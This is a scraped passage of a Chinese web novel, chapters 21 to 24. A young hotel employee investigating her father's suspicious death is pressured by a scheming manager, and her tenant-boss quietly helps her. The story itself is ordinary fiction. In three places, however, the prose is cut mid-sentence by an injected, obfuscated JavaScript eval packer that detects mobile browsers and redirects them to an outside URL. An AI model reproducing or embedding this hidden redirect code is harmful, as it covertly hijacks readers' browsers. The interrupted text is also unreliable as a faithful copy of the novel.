而且……经过这几个月的观察，陶新柔越来越觉得应景晟不像她想象中的应家人，他似乎，与他们不一样？ 就这么一直纠结到吃完晚饭，陶新柔还在客厅里来回踱步。 十五年了。 她等了十五年，才终于摸到真相的边缘。 应怀山的名字就在眼前晃，那些被清理的档案，周韵的监视，张宏斌的威胁，所有的一切都指向同一个方向。 她离真相只有一步之遥。 但这步，她迈不过去。 门突然开了。 应景晟站在门内，穿着家居服，头发微微有些乱，他看着她，眼里没有一丝意外，只是侧开身道：“进来吧。” 陶新柔愣住了：“啊？” “你在我门口走了二十分钟，地板都要被你踩出坑了。”他语气平淡，“进来，别在外面站着。” 陶新柔脸一热，低着头走进去。 这是这三个月来第二次进入，房间被他收拾得很干净，一张床，一张书桌，一把椅子，书桌上放着笔记本电脑，屏幕还亮着，是一些她看不懂的数据。 她站在房间中央，手足无措。 应景晟在椅子上坐下，抬眼看她：“坐。” 陶新柔四下看了看，能坐的地方只有床，她犹豫了一下，在床边沿坐下。 房间里安静了几秒。 “出什么事了？”他问。 陶新柔想了想，决定和盘托出：“是这样的，我有个朋友，她最近遇到件挺烦心的事。她妈妈身体不太好，一直在吃药调理，本来也相安无事，结果她公司里的一个领导，突然特别关心她，先是嘘寒问暖，然后说认识她妈妈看病那家医院的专家，能帮忙安排更全面的检查，说是公司福利。” “我朋友当然觉得不对劲啊，这件事肯定有坑，她当时就婉拒了，结果你猜怎么着？下午公司就正式发了全员通知，内容跟那领导说的一模一样！我朋友一看，这肯定是坑，可不能跳，但是，报名吧，感觉像主动跳坑，不报名吧，又怕被说不领情，你说该怎么办呢？” 应景晟听完，沉默了几秒钟，然后看向她：“原来你在烦恼这个？” 陶新柔一怔：“啊，对啊，是朋友的事就不能烦恼吗？” “我以为你说的这位朋友，是你。” 她眼神飘忽：“咳咳……小应总您真会开玩笑，当然是我朋友了，我、我就是替她着急嘛，呵呵呵……" 陶新柔自己都感觉，此刻她尴尬的笑肯定很难看。 应景晟看着她狼狈的样子，也笑了一下，随后又转变成冷漠脸，没再继续戳穿，而是顺着她的话问：“那你朋友希望达到什么效果？” 陶新柔顺过气来，也顾不上朋友的伪装，表情变得认真道：“她就是既不想显得不识好歹，得罪领导，又实在不放心把家里人交给公司。” “所以核心问题是，在不得不接受福利的前提下，最大限度自我保护，并让后续可能的额外关照难以进行，是这个意思吗？”应景晟总结得清晰而冷静。 “对对对，就是这个意思。”陶新柔如小鸡啄米般点头。 “办法很简单，核心就一个，顺着来，但不配合。” 陶新柔一脸茫然，眨了眨眼：“顺着来，但不配合？这不是矛盾吗？” “一点都不矛盾，你朋友的领导搞这一出，说白了就是想拿她母亲当突破口，拿捏她的把柄。那个领导既想装出关怀员工的样子，又要达到目的，这就是个钉子，要摆脱这个钉子，第一步，就是先领情，要是你朋友的领导再问她，你就让她笑着答应，先给她领导戴个高帽，堵死他说你朋友不识好歹的嘴，第二步，找个借口，让领导没法反驳。” “借口？什么借口？”陶新柔又坐近了几分，眼里满是急切。 “很简单，就让她说她的亲戚已经帮母亲提前预约好了专家，而且要强调，是托了很远的亲戚，费了很大劲才约到的，他们也不好意思拒绝亲戚，另外还要记得感谢领导牵挂，下次有这样的事一定不辜负领导的期望。” 陶新柔愣了两秒，随即眼睛亮了起来：“对啊！这个办法好！既领了情，又没让他插手，还显得我懂事。” “别急着高兴，还有关键一步，集团发的通知，让她得象征性地报个名，过几天再把刚才的实情说出来，这样一来，明面上她完全配合公司政策，领导就算想找茬，也挑不出她的问题。他既没法说你朋友不领情，又没法强行插手你朋友母亲的事，总不能让你朋友取消亲戚预约的专家，给他安排吧？那样就太刻意了，反而暴露他的心思。” 陶新柔听得连连拍腿，一脸崇拜：“小应总，您也太厉害了，这招简直是釜底抽薪啊，既不得罪人，又完美避坑，比我想得那些歪主意强多了，我明天就这么办，让张宏斌拿我没辙。” 等说完，陶新柔才下意识觉得自己说漏了嘴，急忙住嘴，不好意思地看向应景晟。 应景晟见她窘迫的样子也笑了：“怎么？不是替你的一个朋友问的吗？” 陶新柔的脸瞬间又红了，嘿嘿一笑：“啊……这……是我朋友，是我朋友，我给套自己身上了。小应总，你千万别说出去了，这是我们之间的秘密。” 陶新柔比了个“嘘”的手势，眼睛亮晶晶的，仿佛一切都已胜券在握。 “为了表示对您出主意的感谢，以后您有什么吩咐，我一定尽力配合。对了，您明天想吃什么早餐？蟹黄汤包、黑松露小笼包还是龙虾粥？统统给您安排！” 应景晟看着她欢天喜地的样子，又笑出了声：“不用，普通的早餐就好。” “那可不行！高档早餐必须安排，您等着，明天一定让您吃到热乎的！” 说完，她又欢天喜地地冲应景晟道了一声“晚安”，转身一溜烟跑走了。 应景晟坐在椅子上，看着紧闭的房门，嘴角的笑意久久没有散去。 看来她现在对她父亲的案子了解得还不多，至少还没触及最核心的证据，否则她不会只是被张宏斌这样的小手段困住，更不会用这么笨拙的朋友借口来向他求助。 想到这里，他眼里的笑意又深了几分。 她编谎话的时候，眼神飘忽，手指绞着衣角，活像个小学生。 偏偏还要硬撑，一口一个“小应总您真会开玩笑”，结果最后自己说漏嘴，直接把张宏斌的名字抖了出来。 他当时差点没忍住笑出声。 但不得不说，她那个反应，挺可爱的。 想到那个画面，他嘴角又弯了一下。 但很快，那点笑意就淡了下去。 张宏斌、应怀山。 拿陶母做突破口，确实是个阴险的招数，如果不是她今晚来问，他可能还不会这么快知道这件事。 他又查看了手机里群发的消息，果然有一条来自行政部发出的福利邮件。 看来有些人已经坐不住，准备抢先出手了。 应景晟嘴角一弯，自言自语：“说不定现在正是时候，让陶新柔归为自己麾下。” * 次日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263820|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陶新柔便按计划行事报名。 看到名单上出现陶新柔的名字，张宏斌十分高兴，很快把这个消息告诉了应怀山。 应怀山满意地点头，现在鱼儿上钩了，他只要拿捏住陶新柔的把柄，就能掌握应景晟的动向。 “宏斌，你即刻安排陶新柔的母亲先做检查，记得要体现这是集团的关心。” “是。” 张宏斌领到命令后，便又来总部追问陶新柔报名的事，但让他没料到的是，陶新柔把昨天想好的对策，一脸无奈地告诉他：“张经理，实在不好意思，刚刚接到表姨的消息，说已预约到了外地有名专家的号，她让我们改天过去一趟看看，我后面可能要请几天假。” 张宏斌被她这一套滴水不漏的组合拳打得有些措手不及，面上只能维持着宽和笑容，连声说：“没关系，家人安排好就行。” 等他汇报给应怀山，显然已冷脸。 “看来这个陶新柔，已经发现了一些什么，她既然能成为项目组成员查阅档案，就说明已经不仅是应景晟的房东这么简单了，更有可能已经成为他的耳目。”应怀山靠在椅背上冷静思考，又对张宏斌下了指令：“不能再让她这样游离在外，被动猜测她的意图，既然她是陶海振的女儿，又明显在查旧事，还很可能和景晟联手，那就把主动权拿回来，找她摊牌，让她自己选。” 做完这一切，他又拿起电话打给周韵交代一切：“务必时刻盯住陶新柔，她有任何动态都随时向我汇报。” 挂下电话，应怀山觉得做这些还不够，他必须要掌握应景晟现在已经拥有什么线索了。 时间就这么来到了项目组在总部的最后一天。 陶新柔加班整理完最后一点项目收尾工作，离开公司时天色已暗。 她刚走出大楼，一辆黑色的轿车缓缓滑到她身边停下。 后排车窗降下，露出了张宏斌略带笑意的脸。 “小陶，下班了？” “张经理？您怎么在这里？” “有点事想跟你聊聊，上车吧。” 陶新柔心里一紧，下意识想找借口推脱。 “很快，耽误不了你几分钟。” 陶新柔四下张望，还是决定坐上车听听张宏斌想说些什么。 车子渐渐驶离总部，开往家的方向，张宏斌没说话，只是等车子开了一会儿后，才开口：“小陶，你觉得我们公司怎么样？” 陶新柔握紧包带，透过后视镜看向张宏斌的眼睛。 那眼神并不锐利，却莫名让人感觉暗流涌动。 “我觉得氛围很好，工作也有向上性。” “是吗？那就好。还记得面试那天，你们这些人都是我亲自见的，当初我看中你的除了优秀的简历外，还有简单的家庭关系。” 陶新柔更握紧了包带，她就知道，上车没那么简单。 “你父亲是陶海振吧？”张宏斌直接抛出了名字，转头看着她的反应，“有些旧东西，我觉得你应该看看。” 陶新柔呼吸一滞，血液仿佛瞬间冷了下来。 该来的，终于还是来了。 张宏斌没有兜圈子，径直从公文包里抽出一张泛黄的照片，递到陶新柔面前。 照片上，是年轻时的陶海振，穿着云麓酒店的旧式工装，站在公司门口，笑容朴实。 照片背面，还有一行模糊的钢笔字迹和日期——08年12月15日，陶海振。 那是父亲准备调入西南分公司的日子。 “你入职，是为了查你父亲的事，对吧？”张宏斌开门见山地问。 22. 第二十二章 被戳中了真相，陶新柔神色一僵，又迅速掩盖过去，没有说话，而是转头如同发现意外般地看向张宏斌，还没等她开口，张宏斌又继续道：“你不用解释，我都知道，你之所以参加项目组找档案，就是为了找西南分公司的旧档，关于你父亲的消息吧？” 陶新柔看着张宏斌手里的照片，手指微微颤抖。 “我可以告诉你，你父亲当年的事，一些关于那个时候的真相，挖出来对谁都没好处，尤其是对你。”张宏斌顿了顿，压低声音，转变语气，“你也不想步你父亲的后尘，让你母亲再经历一次打击吧？” 陶新柔猛地抬头看他，眼神里充满了震惊和愤怒。 “别这么看着我，我今天找你，不是来为难你。相反，我想给你一个更安全的选择。”他身体前倾，声音如同毒蛇吐信：“我可以给你你想要的东西，但是，你需要付出一些，我看你跟小应总关系不一般，我觉得你应该知道他的详细动态。” 陶新柔立刻领会到这是什么意思。 “张经理，我只是个小员工，平时跟小应总也说不上几句话，他心思深，做事又谨慎，我怎么可能知道他在干什么。” 张宏斌笑了笑道：“那就想办法知道，接近他，取得他的信任。你是个聪明姑娘，应该知道怎么做。别忘了，你母亲的身体，可经不起什么意外的打击。” “张经理，您这么说，让我很害怕，我父亲的事，我只是想弄明白，当年到底发生了什么，其他我都不想知道。”陶新柔下意识攥紧照片。 张宏斌看着她迅速转变的情绪和示弱的姿态，眼里闪过一丝满意的笑：“具体发生了什么，现在告诉你，对你没好处，你只需要知道，硬碰硬，不会有好结果，跟我合作，至少我能保证你和你母亲的安全。” “我需要时间，也需要知道怎么做。”陶新柔道。 “很简单，取得应景晟的信任，然后拿出我想要的东西。” 原来他们想通过她获得应景晟的消息。 虽然她不知道应景晟有什么东西是他们需要的，但仅凭张宏斌说的话，就一定是什么不可告人的秘密。 “我需要时间思考。” 张宏斌也没有恼怒，反而呵呵一笑：“我就知道你是个聪明人，我不着急，给你一周时间考虑，一周后，告诉我你的决定。”张宏斌把一张早就写好电话号码的卡片递给陶新柔，“合作，你父亲的一些旧物和我知道的消息，可以给你，你和你母亲也能安稳过日子，不合作……” 他没有说完，但未尽之言里满是威胁意味。 “下车吧。记住，只有一周时间，下周回到酒店，我要知道答案。” * 陶新柔不知道自己是怎么回到家的，钥匙插了好几次才对准锁孔，进门时还差点被门槛绊倒。 “小柔回来啦？脸色怎么这么白？是不是今天又干了很多活？”陶母从厨房探出头，关切地问。 “没、没事，妈，就是有点累，我先去洗个澡。”陶新柔勉强挤出一个笑容，逃也似的钻进浴室。 她打开水龙头，用冷水扑着脸，试图让混乱的大脑冷静下来。 镜子里的人脸色惨白，眼神里满是惊惶未定。 一周。 母亲的安全、父亲的真相…… 她到底应该怎么办？ 而眼下，还有一件火烧眉毛的事——母亲该去哪个医院。 或许正是因为这件事，才让应怀山起了急。 她绝不能让母亲再去市一医院了。 那天报好名后，陶新柔就锁定了另一家权威医院，但挂号却让她走投无路，连续三天凌晨抢号失败，黄牛的天价挂号费，都让她望而却步。 接下来的几天，陶新柔都心不在焉，连工作都差点出错。 午休时，她端着餐盘坐到角落的位置，食不知味。 郑舒慧端着盘子跟在后面，小声询问：“新柔，你这两天怎么了，跟丢了魂似的，是项目组遇上什么麻烦了吗？” 陶新柔摇摇头，但又不想郑舒慧担忧，她摇摇头道：“不是。” 陶新柔不想多说，更不想让郑舒慧踏这趟浑水。 郑舒慧伸手拍拍她的背安慰：“别太拼了，对了，上次公司说给员工福利，你替阿姨报名了吗？” 陶新柔点点头。 “那太好了，云麓对员工还是挺好的。其实我能进云麓工作，心里一直特别感激，你可能不知道，我家条件不好，当初差点连初中都读不完，是云麓资助了我，我特别感谢云麓和资助我的那位叔叔，对了，我还记得那个叔叔，跟你一个姓，也姓陶，所以当时听到你姓陶的时候，我有种特别的熟悉感。”郑舒慧朝陶新柔笑道。 “姓陶？”陶新柔猛地抬头。 “是啊，他人特别好，每次都来信鼓励我，可惜后来听说他调去外地，就再也没有联系了。” 调去外地……姓陶…… 陶新柔思绪漫天。 “舒慧，你还记得资助你的那位叔叔叫什么名字吗？”陶新柔忽然抓住郑舒慧的手，给郑舒慧吓了一跳。 “啊，我不记得了，好像叫陶什么海，还是陶海什么吧，我回去翻一下信，我还保存着呢，对我意义特别大。”说到这儿，郑舒慧明显脸上的表情分明充满了希望。 原来父亲当年资助的对象就是郑舒慧！ 原来一些事，在冥冥中就有注定。 陶新柔感觉心脏像被重锤击中，她张了张嘴，却发不出任何声音。 郑舒慧还在说着：“所以我特别感激，当初看到酒店招聘，义无反顾地就来了，总觉得在这里工作，能离那位好心的叔叔近一点，也能做着像他一样的活，以后也能成为那样的人。” 陶新柔的眼眶逐渐湿润，父亲那么好的人，命运却对他如此不公。 “新柔，你怎么了？”注意到陶新柔湿润的眼睛，郑舒慧眉头紧锁，更担忧了。 “没什么，只是觉得有些动容，舒慧，你遇上了好人。”陶新柔扯出一个难看的笑，强迫自己震惊。 “是的，我也觉得我遇上了好人。所以我总觉得，能让我进入云麓工作，是我这辈子的福气，遇见你也是，新柔，不管遇到什么事，需要帮忙一定要告诉我。” 陶新柔点点头，又别过脸去擦了一下流出的眼泪。 郑舒慧的安慰像一缕阳光，短暂驱散了她心头的阴霾，却也更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273806|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她坚定，她一定要抓出幕后黑手，替父亲洗怨！ * 39楼总经理办公室内，应景晟看着王安然送来的部分调查记录。 “小应总，西南分公司那边有消息了，根据我们与那位老员工的交谈，他说，陶海振出事前那段时间，情绪非常低落，不仅在工作上经常烦恼，与领导拌嘴，家里好像还出了点急事，急需用钱。但具体是什么事，他不清楚，他说感觉那笔钱数目不小，让陶海振压力很大。” 急需用钱？ 应景晟的眼睛微微眯了一下，变得越发锐利。 工作争执可能只是表象，家庭财务的突发危机，往往更能逼迫一个人做出非常规选择，也更容易被他人利用。 “继续查，重点查陶海振出事前半年，他们家庭的财务状况，是否有大额支出或借贷记录。同时，查清楚他是否与公司内部任何人，尤其是与我二叔那边的人，有过任何非常规的经济往来，无论是什么名义。” 应景晟语气严肃，眸光微转。 “明白。”王安然领命，又想到什么，“对了，小应总，我听说集团最近又展开了‘晨曦计划’，意在帮助家庭有困难的员工度过难关，我了解到陶新柔也报名了，但后来不知因为什么原因又退出了，她母亲身体好像不是很好。” 应景晟点点头，陶新柔还是按照他说的做了。 “总部那边一直对‘晨曦计划’很重视，陶新柔的退出似乎引起了几个高层的看法，特别是张经理，他似乎对这个计划很关注，还问过几次陶新柔有没有申请，我那天还看到陶新柔上了张宏斌的车。” 应景晟脸色骤变，张宏斌这样一个居心叵测的人重点关注，意味立刻变得不同寻常。 这个计划每个分公司名额有限，酒店有几个人申请，但也肯定需要淘汰几个，看来昨天他想的没错，他们就是想利用晨曦计划的资助，名正言顺地帮助陶新柔，进而将她牢牢绑上他们的船。 一旦陶新柔接受了这份雪中送炭的好意，就等于默认了某种交易，今后在处理父亲旧案时必然受制于人，这比直接的威胁更隐蔽，也更难挣脱。 “总部的审批流程，我记得最终需要分管副总裁签字确认吧。” “是的，小应总。目前由应怀山副总分管人力资源和行政，这类专项资助计划，最终报告和资助名单需要他签字生效。”王安然回答。 “很好，通知行政部，将本次晨曦计划的审核，纳入酒店近期开展的阳光公益行动，所有受助员工的确定，需增加工会代表评议环节，确保公平、透明、真正帮助到最需要的人。” 这一招，是将晨曦计划从一个内部操作空间较大的资助项目，提升到有外部监督，流程更公开的层面。 起码阻止了应怀山想在酒店做手脚的动作。 “是，我立刻去办。”王安然心领神会。 看来要解开当年的泄密案件，还得以陶家为引子。 现在看来，他误打误撞租了陶家的房子也不是什么坏事。 或许能从陶家找到对付应怀山的突破口。 “不能再等了。”应景晟低声自语。 他必须出手了，要把她保护好。 23. 第二十三章 因为母亲看病的的事，陶新柔好几天没睡着，这天她依旧躺在床上，盯着天花板，发了一个小时的呆。 手机屏幕亮了又暗，暗了又亮。 她点开挂号APP，余号永远是0，点开和郑舒慧的对话框，打了字又删掉，点开通讯录，根本不知道谁能帮得上忙。 她真是没办法了。 上次找他出主意，很顺利就解决了，那几天她高兴坏了，觉得天大的事到了他那儿都能迎刃而解。 可这次不一样。 她总不能又跑去跟他说“小应总，我有个朋友她妈挂不上号”吧？ 同样的借口用两次，她就算脸皮再厚也说不出口。 而且…… 她翻了个身，把脸埋进枕头里。 而且她欠他的实在太多了。 看着小黄鱼上黄牛回复一个号5000，陶新柔根本不敢已读。 好希望有个人来救救自己。 * 次日一早，陶新柔顶着两个黑眼圈爬起来，迷迷糊糊地去洗漱。 刚刷完牙，就听见客厅里传来陶母的声音：“小房？你怎么这么早？是有事找小柔吧？她还在洗漱呢，我去叫她。” “不用，阿姨，我是来找您的。” 陶新柔刷牙的动作一顿。 找我妈？ 她竖起耳朵倾听。 “找我？什么事啊？”陶母显然也愣住了。 “听小陶说您最近需要复查，市一医院那边不太方便，我帮您约了明德的专家，下周三上午，您看时间方便吗？” 陶新柔听得牙刷差点捅到喉咙。 什么？！ “明德？”陶母的声音也拔高了，“那、那可是很难挂的号啊！小房，你怎么约上的？” “正好认识那边的医生，您把医保卡给我，我帮您办手续，复查的事您不用担心，到时候我告诉您具体时间。” “哎呀，这……小柔，你快出来啊。”陶母显然也是无法招架了。 陶新柔的脑子也瞬间打结。 他怎么知道的？ 她昨晚只是躺在床上纠结，根本没跟他说啊！ 难道她的预知能力还有能传递自己想法的功能？ 陶新柔手忙脚乱地漱完口，胡乱擦了把脸，冲出洗手间。 客厅里，应景晟已经把往陶母手机里输入了一个电话。 “阿姨，到时候您就联系这位姓王的专家的助理，其他的事都不用担心了，我已经跟他说好了。” 陶新柔站在原地，看着应景晟。 他抬起头，对上她的目光，脸上没什么特别的表情，只是淡淡地看着她：“下周三你带阿姨去明德医院找王主任。” “哎呀，小房，真是太麻烦你了。” “阿姨，您别客气，这也算是我的心意。” 陶新柔张了张嘴，想说点什么，却发现自己什么都说不出来。 应景晟已经往门口走了，路过她身边的时候，脚步顿了一下，用只有她能听见的声音道：“下次有事直接说，不然我都看不懂你发的是什么意思。” 然后就走了。 陶新柔站在原地，不明所以。 * 解决了母亲看病的问题，陶新柔心里的石头总算落地了，但更多的愧疚感席卷全身。 她看着手机，只想闭上眼睛，捅自己一刀。 她怎么会迷迷糊糊地把应景晟当成黄牛啊。 她真是傻了！ 陶新柔坐在工位上，恨不得穿越回昨晚把自己摇醒。 XR：不好意思，5000太贵了，能分期吗？ XR：我妈的病很重要。 XR：还有号怎么交易？是在明德门□□易吗？ 晟：？ 陶新柔都不想再看第二遍了，她扔掉手机，发出一声闷闷的哀嚎。 同事探过头来：“新柔，你没事吧？” “没事，就是有点想死。” “啊？那要不要帮你打个120？” “不用，我已经死了。” 整整一个上午，陶新柔都不敢看手机，老老实实、本本分分待在工作岗位，一刻都不敢停下来。 中午吃饭的时候，郑舒慧端着餐盘坐过来。 “新柔，你今天怎么了？一上午都趴着。” 陶新柔抬起头，眼神空洞：“舒慧，我问你个问题。” “什么？” “如果你半夜迷迷糊糊的时候，把很见不得人的微信发给了老板，你会怎么办？” 郑舒慧愣了一下，然后认真地想了想：“老板？魏主管吗？” “差不多吧。” “那我可能会辞职，然后换个星球生活。” “谢谢，很有建设性。” 她继续低头扒饭，心想：辞职是不可能辞职的，换星球也来不及了，她只能面对现实。 问题是，怎么面对？ * 下午三点，手机震了一下。 陶新柔很怕看到不想看到的消息，但她还是鼓足勇气点开了。 晟：阿姨的事办好了，不用分期。 “……” 他还在调侃她！ 晟：下次别发错人了，万一对方真收你5000，你这个月又要吃泡面了。 陶新柔盯着屏幕，脸涨得通红，仔仔细细开始斟酌措辞。 XR：小应总，昨晚我睡着了，脑子不清醒，发的那些都是梦话，您别往心里去，还有谢谢您帮我妈挂号，这个恩情我记下了，以后一定报答！ 晟：报答留着以后吧，现在先带阿姨看病重要。 以后报答？ 陶新柔心里立刻毛躁起来，她这个人最不喜欢欠人情了，这人情得留到什么时候。 XR：小应总，能不能给个明示，您想要什么？ 晟：先欠着。 陶新柔：？ 晟：等我想好了告诉你。 陶新柔盯着那行字，心跳漏了一拍。 等他想好了告诉她？ 他想让她干什么？ 难道想让她以身相许？ 陶新柔使劲摇摇头，把那些乱七八糟的念头甩出去，回复：好的，那您慢慢想，只要我能做到的，一定尽力！ 发完，她看着屏幕，又加了一句：不过违法乱纪的事我不干，伤天害理的事我也不干，让我出卖身子的更不行，最好简单点的，嘿嘿。 晟：…… 晟：要求还挺多。 陶新柔看着回复，忍不住笑出了声。 旁边的同事又探过头来：“新柔，你没事吧？一会儿想死一会儿笑的。” 陶新柔摆摆手：“没事没事，就是觉得人间还挺值得的。” 同事一脸莫名其妙地看着她，摇摇头继续干活了。 陶新柔把手机扣在桌上，托着腮，看着窗外的阳光。 心情忽然就好了。 * 晚上，陶新柔刚准备把好消息告诉母亲，就听到房间里传来母亲猛烈的咳嗽起来。 “妈，你身体不好，怎么不开空调啊？冻着了怎么办！”陶新柔连忙冲过去，扶住母亲轻轻顺着气，又急忙拿起遥控器开空调。 陶母咳了好一会儿，才缓过劲，拍着陶新柔的手臂摇头：“没事没事，就是呛着了，不用开空调，费电。我这老毛病，扛一扛就过去了，哪用这么娇气。” “妈，跟你说过多少次，钱的事不用你操心，身体最重要。” 陶母点点头，眼里满是愧疚：“好，辛苦你了小柔，妈这身体，总给你添麻烦，要是你爸还在，也不用你一个人这么奔波受累。” 提到陶父，原本就有些沉闷的气氛更沉了下去。 陶新柔摇摇头：“妈，不辛苦，照顾你是我应该做的，而且，我一直觉得，我爸的事不对劲。” 陶母眼眶瞬间红了，泪水顺着眼角的皱纹滑落：“妈知道你在想什么，当年我也觉得不对劲，你爸走的那天，我就不信他会酗酒开车。你爸这辈子，最爱惜自己的身子，从来都不贪酒，更不会酒后驾车，他那么细心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286771|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人，怎么会犯这种错？” 陶新柔的心像被针扎了一下，酸涩难忍。 虽然听母亲说过很多次关于父亲生前的事情，但再一次听母亲说起关于父亲死亡的讯息，她的内心满是痛楚。 小时候她不懂，母亲总是在深夜偷偷抹眼泪，嘴里念叨着“肯定不是真的”，但为何不去告他们，去找出真相，现在她发现，要找寻真相不是那么容易的一件事。 看着母亲强忍着泪水，陶新柔问：“妈，当年的事，您再跟我说说吧。” 陶母抹了抹眼泪，陷入了回忆：“还记得办葬礼的那天，家里来了很多你爸以前的同事，大家都很热情地安慰我，后来有个人，我印象很深，他说他是你爸分公司的上级，应该是叫应怀山，就是那天你带我去医院时，遇见的那个人，当时我虽然眼熟，但也怕被他看出来，对你不利，幸好你也说换个医院。” “应怀山？”陶新柔的心脏骤然一缩，这跟档案里的内容都对上了。 “对，妈应该没记错，那天他看我眼熟，我也看他眼熟，但一时没想起来他叫什么，这几天妈突然想起来了，就是这个人。”陶母点点头，细细回想，“当时他穿着一身西装，看着很体面，过来跟我道歉，说没能照顾好你爸，还送了一笔慰问金，我没要。他当时说，你爸在分公司工作的时候，一直很勤恳，是个好员工，怎么也没想到会出这种意外。” “我当时就想问他，你爸在分公司到底做了什么，是不是出了什么事，可他身边跟着好几个人，没等我问出口，就被人催着走了，后来警方的检查结果出来，说你爸体内酒精含量超标，是酒后驾车失控，才掉进了河里。我不甘心，去问了好几遍，后来血液检测报告也给我了，白纸黑字，由不得我不信……”陶母闭上眼，声音哽咽。 “妈，我也不信爸是那种人，而且您还记得吗，爸去分公司的时候，我已经预知到了爸会出车祸的事。” 陶母点点头，满脸懊悔：“那时候只当你还小，舍不得你爸，早知道……早知道就不让你爸去了。”陶母说着，捂着嘴又要哭出来。 陶新柔轻轻拍照陶母的后背：“妈，你放心，我现在在云麓已经在查这件事了，我坚信这里面一定有问题，只是我们没找到证据。”陶新柔看着父亲的遗照，眼神变得更加坚定，“我一定会查清楚的，爸的冤屈，我一定会洗清，绝不会让他就这么不明不白地走。” 陶母再次点头：“小柔，这么多年了，妈也接受了事实，但是妈从来没真正放下过，可妈没本事，查不出真相，只能逼着自己认了。妈知道你孝顺，想给你爸讨个公道，可妈怕啊，怕你查着查着，得罪了不该得罪的人，到时候妈就剩自己一个人了……” 陶母说着说着，眼泪又流了下来，陶新柔看得动容，她又何尝不是跟母亲一样。 在这个世界上，她跟母亲相依为命，没有依靠，只有彼此。 但凡有一些闪失，她不仅不能原谅自己，也会害怕母亲承受不住。 “妈……”她抱住母亲，轻拍着她的背后，“妈，我都知道，我会小心的，您别担心我，我长大了，真相我一定会找出来，也一定不会让我自己受伤的。” 陶母也擦了擦眼泪，不想再伤感：“妈不是拦着你，就是希望你，查的时候一定要小心，别太逞强，要是实在难，咱们就算了，妈只要你好好的。” “妈，你放心，我绝对会保护好自己的。” 而此刻的房间门外，应景晟原本想敲门的手顿住了。 他刚接到王安然的回复，说王主任希望他们提供之前的报告作为参考，想来提醒陶新柔准备一下，刚走到门口，便听到了屋内母女的对话。 陶海振酗酒开车、应怀山参加葬礼…… 似乎线索比他预想的还要复杂。 看来陶海振的死，果然不是意外。 应怀山，你到底藏了什么秘密？ 房间里，母女俩的声音还在断断续续传来，应景晟沉默了许久，终究是转身，暂时回了自己的房间。 有些事，还需要慢慢查证。 24. 第二十四章 酒店通过阳光行动顺利选出了2位“晨曦计划”的候选人，张宏斌脸色难看地为他们颁发证书。 开完会后，他行色匆匆走进办公室。 陶新柔巧妙的躲避，还被人摆了一道，他心里实在堵得慌，他必须要马上给陶新柔一个下马威！ 于是干脆给陶新柔打电话让她来办公室。 “小陶啊，考虑得怎么样了？这次‘晨曦计划’我没帮上你，说实话我很难过，但这个机会你可不能再错过了，你妈妈的身体也更要紧。”张宏斌搅动着杯中的咖啡，语气轻松得像在聊家常。 陶新柔想了想，还是决定回绝：“张经理，谢谢您的好意，但我仔细想过了，我还是想凭自己的能力做好工作，等有机会，再带母亲去别的医院看看，还有，您之前提的其他事情，请恕我能力有限，无法胜任。” 张宏斌搅动咖啡的手顿了一下，笑容依然，但表情却是僵硬：“哦？这是找到其他办法了？” 陶新柔迎着他的目光，不卑不亢：“已经跟表姨定好时间了，下周去其他医院复查，虽然麻烦点，但也能安排。” “表姨？”张宏斌放下咖啡杯，往椅背上一靠，“小陶啊，我记得你家里没什么表姨吧？你确定真的是你表姨？不会是被人骗了吧？” 陶新柔绕开话题：“谢谢张经理关心，是我信得过的人。” 张宏斌看着她，目光沉沉。 沉默了几秒，他忽然笑了。 “行，既然你有自己的安排，我也不勉强，不过小陶，我得提醒你一句，有些路，走错了还能回头，有些人，站错了队，可就回不了头了。” 张宏斌嘴角勾起一抹邪笑，看的陶新柔心头猛地一沉。 “张经理，我从未选择过站队，也从未走错过路，我相信我走的每一步都有意义。” 张宏斌乜起眼睛，身体微微前倾，双手交叠放在桌面上，语气也变得更严肃了：“陶新柔，我上次就跟你说过，要审时度势，我给你指的，是条看得见尽头的路。你以为攀上了高枝，找到了新的倚仗，就能跳出棋盘了？你太天真了，在云麓，有些游戏规则，不是换个玩家就能改变的。你父亲当年，就是没明白这个道理。” 提到父亲，陶新柔的指甲深深掐进掌心，她语气凝重：“什么意思？” 张宏斌冷笑一声才道：“你拒绝我，就是选择站在我的对立面，站在我对立面的人，从来不会有好下场。想想你母亲，她还能承受第二次意外吗？” 赤裸裸的威胁让陶新柔脸色瞬间煞白。 “张经理，你这是威胁！”陶新柔猛地站起来，她感觉浑身的血液都被抽走了，身子再也忍不住地微微颤抖。 